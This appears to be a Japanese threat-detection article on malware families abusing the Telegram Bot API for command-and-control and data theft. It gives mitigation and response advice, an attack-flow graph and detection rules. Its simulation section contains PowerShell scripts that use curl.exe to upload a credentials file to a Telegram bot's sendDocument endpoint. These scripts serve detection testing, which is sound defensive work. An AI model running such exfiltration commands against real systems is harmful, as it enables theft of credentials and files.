検出と対応の年代記: テレグラムの悪用を探る
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事は、いくつかの脅威アクターが企業内でのコマンドアンドコントロール、データ抽出、および被害者の監視のためにTelegramのボットAPIやチャンネルを悪用している方法を説明しています。DeerStealer、Lumma Stealer、Raven Stealer、そしてトロイの木馬化されたXWormビルダーなどのマルウェアファミリーは、ボットトークンやチャンネルIDをコード化し、/sendMessageや/sendDocumentのようなエンドポイントを呼び出します。これには、Microsoft DefenderとSentinelの検出クエリが含まれており、不審なプロセスコマンドラインや api.telegram.orgへのトラフィックに重点を置いています。主要なガイダンスは、正当なTelegramの使用をベースライン化し、必要のない場所でAPIをブロックすることです。
調査
NVISOのSOCは2025年10月から2025年3月にかけて、Telegramが攻撃ライフサイクルの異なるポイントで使用された、4つの侵入試行を観察しました。この記事は、偽のキャプチャー誘導を使用して被害者を監視するLunar Spiderキャンペーン、curlを介してオペレーターに通知を送信するDeerStealer、TelegramチャンネルからC2の詳細を取得するLumma Stealer、アーカイブされたコレクションを抽出するRaven Stealer、そしてボットAPIを利用して両方の抽出とC2を行うXWormビルダーのキャンペーンを強調しています。アナリストはプロセスコマンドライン、ネットワークの行き先、および関連するファイル名を含むインジケーターを抽出しました。
緩和策
正常なTelegramの使用基準を確立し、それが必要ない環境でapi.telegram.orgへの外部アクセスをブロックします。APIへの接続を開始する珍しいプロセス(例えば、curl、powershell、wscript)を監視し、スクリプト化されたボットAPIの相互作用を調査します。telegram.exeを起動する既知のブラウザのような予想される動作を抑制するように検出を調整し、疑わしいバイナリまたは予想外のホストから発信されるロングポーリングまたはWebhookスタイルのリクエストを優先します。
応答
活動が検出された場合、影響を受けたエンドポイントを隔離し、不審なプロセスを停止し、DNS、プロキシ、およびネットワークテレメトリと共にコマンドライン引数を保存します。DeerStealerやRaven Stealerのようなキャンペーンに関連する後続のペイロードを特定するために、より深いフォレンジックスを実施します。漏洩したボットトークンを変更し、悪用されたTelegramチャンネルを無効にまたは取り消し、関連するインジケーターをブロックして拡散を抑制します。悪用が確認された場合は、Telegramの公式チャンネルを通じて報告をエスカレートし、再発防止のためにインシデントを記録してください。
“graph TB %% クラス定義 classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% ノード – テクニック attack_user_execution[“<b>テクニック</b> – <b>T1204 ユーザー実行</b>: 被害者は偽のGoogle Chrome更新に包まれた悪意のある実行ファイルを実行するようにだまされます。”] class attack_user_execution technique attack_software_extensions[“<b>テクニック</b> – <b>T1176 ソフトウェア拡張</b>: 改ざんされたWordPressプラグインが偽の更新を配信するための悪意のあるiframeを挿入します。”] class attack_software_extensions technique action_archive_data[“<b>テクニック</b> – <b>T1560.001 ユーティリティによるアーカイブ</b>: PowerShellが収集したファイルをZIPアーカイブに圧縮します。”] class action_archive_data technique tech_compression[“<b>テクニック</b> – <b>T1027.015 圧縮</b>: エクスフィルトレーション用にデータのサイズを縮小するためにZIPアーカイブを使用します。”] class tech_compression technique process_powershell[“<b>プロセス</b> – <b>T1059.001 PowerShell</b>: アーカイブを実行し、その後にcurlを使用して送信します。”] class process_powershell process action_curl[“<b>アクション</b> – Curl: PowerShellがcurlを呼び出してアーカイブをC2サーバーに送信します。”] class action_curl tool tech_dead_drop[“<b>テクニック</b> – <b>T1102.001 Dead Drop Resolver</b>: マルウェアがTelegram Bot APIエンドポイントと通信します。”] class tech_dead_drop technique tech_messaging_exfil[“<b>テクニック</b> – <b>T1213.005 メッセージングアプリケーション</b>: システム情報と認証情報がTelegramチャット/ボットを通じてエクスフィルトレーションされます。”] class tech_messaging_exfil technique tech_unsecured_creds[“<b>テクニック</b> – <b>T1552.008 安全でないクレデンシャル</b>: Discordトークンと保存されたパスワードがチャットメッセージとして送信されます。”] class tech_unsecured_creds technique tech_data_obfusc[“<b>テクニック</b> – <b>T1001 データ難読化</b>: Telegramチャンネル名がROT13/ROT15で暗号化されます。”] class tech_data_obfusc technique tech_dynamic_resolution[“<b>テクニック</b> – <b>T1568 動的解決</b>: マルウェアが実行時に難読化された識別子をデコードします。”] class tech_dynamic_resolution technique tech_exfil_c2[“<b>テクニック</b> – <b>T1041 C2チャネル上のエクスフィルトレーション</b>: 圧縮されたアーカイブと盗まれたデータがTelegramチャンネルを通じて送信されます。”] class tech_exfil_c2 technique %% ノード – ツール/マルウェア tool_fake_update[“<b>マルウェア</b> – 偽のChrome更新: 被害者に配信される悪意のある実行ファイル。”] class tool_fake_update malware tool_wordpress_plugin[“<b>ツール</b> – WordPressプラグイン <i>header-fix-tester</i>: 悪意のあるiframeを挿入します。”] class tool_wordpress_plugin tool %% オペレーターノード(オプション) op_and1((“AND”)) class op_and1 operator %% 接続 – アタックフロー attack_user_execution u002du002d>|配送する| tool_fake_update attack_software_extensions u002du002d>|iframeを挿入して配送する| tool_fake_update tool_fake_update u002du002d>|実行される| process_powershell process_powershell u002du002d>|作成する| action_archive_data action_archive_data u002du002d>|適用する| tech_compression tech_compression u002du002d>|生成されたアーカイブを| action_curlを用意する action_curl u002du002d>|データを送信する| tech_dead_drop tech_dead_drop u002du002d>|有効化する| tech_messaging_exfil tech_messaging_exfil u002du002d>|運ぶ| tech_unsecured_creds tech_unsecured_creds u002du002d>|使用する| tech_data_obfusc tech_data_obfusc u002du002d>|サポートする| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|促進する| tech_exfil_c2 tech_exfil_c2 u002du002d>|エクスフィルトレーションする| tech_dead_drop %% クラス割り当て class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator “
攻撃フロー
検出
コマンドアンドコントロールチャネルとしての可能性があるTelegramの悪用(dns_queryを介して)
見る
不審なDefender除外の修正(cmdlineを介して)
見る
コマンドラインにURLが用いられる不審なプロセス(cmdlineを介して)
見る
検出するためのIOC(Emails):検出&応答クロニクル:Telegramの悪用を探索する
見る
Telegram APIとの非ブラウザ通信を検出する [Windowsネットワーク接続]
見る
悪意のあるTelegram API使用を検出する [Windowsプロセス生成]
見る
シミュレーション実行
前提条件:テレメトリおよびベースラインの事前チェックがパスしている必要があります。
合理性:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃の説明&コマンド:
侵害されたWindowsホストを持つ敵は、収集された資格情報ファイル(creds.txt)を彼らが制御するTelegramボットに抽出したいと考えています。カスタムバイナリを保存するのを避けるために、ネイティブのcurl.exe(Windows 10のオプション機能としてインストールされている)を使用してファイルをhttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocumentにPOSTします。コマンドはPowerShellから実行され、プロセス生成イベントが“api.telegram.org”を含むコマンドラインを記録します。なぜなら、プロセスがcurl.exeであるので、ルールのフィルタ(InitiatingProcessFileName: "telegram.exe")はアラートを抑制しません。# 変数(攻撃者が制御する値で置き換え) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # ファイルが存在することを確認(シミュレーション資格のダンプ) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # TelegramボットAPIを介した抽出を実行 $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
回帰テストスクリプト: 以下のスクリプトは正確な手順を再現し、自動BASランに適しています。
#-------------------------------------------- # 回帰テスト - Telegram APIの抽出 #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # 一時ワークスペースを作成 New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # シミュレーション資格ファイル $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # API URLを構築 $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # 抽出を実行 Write-Host "[*] $CredFileをTelegramに抽出中..." curl.exe -X POST -F "document=@$CredFile" $Url # 簡単な成功指標(配信を確認しません) if ($LASTEXITCODE -eq 0) { Write-Host "[+] 抽出コマンドが実行されました。" } else { Write-Error "[-] 抽出に失敗しました。" } -
クリーンアップコマンド: 一時ファイルとディレクトリを削除し、オプションで残っている
curl.exeのプロセスを終了します。# 一時アーティファクトをクリーンアップ Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] クリーンアップ完了。"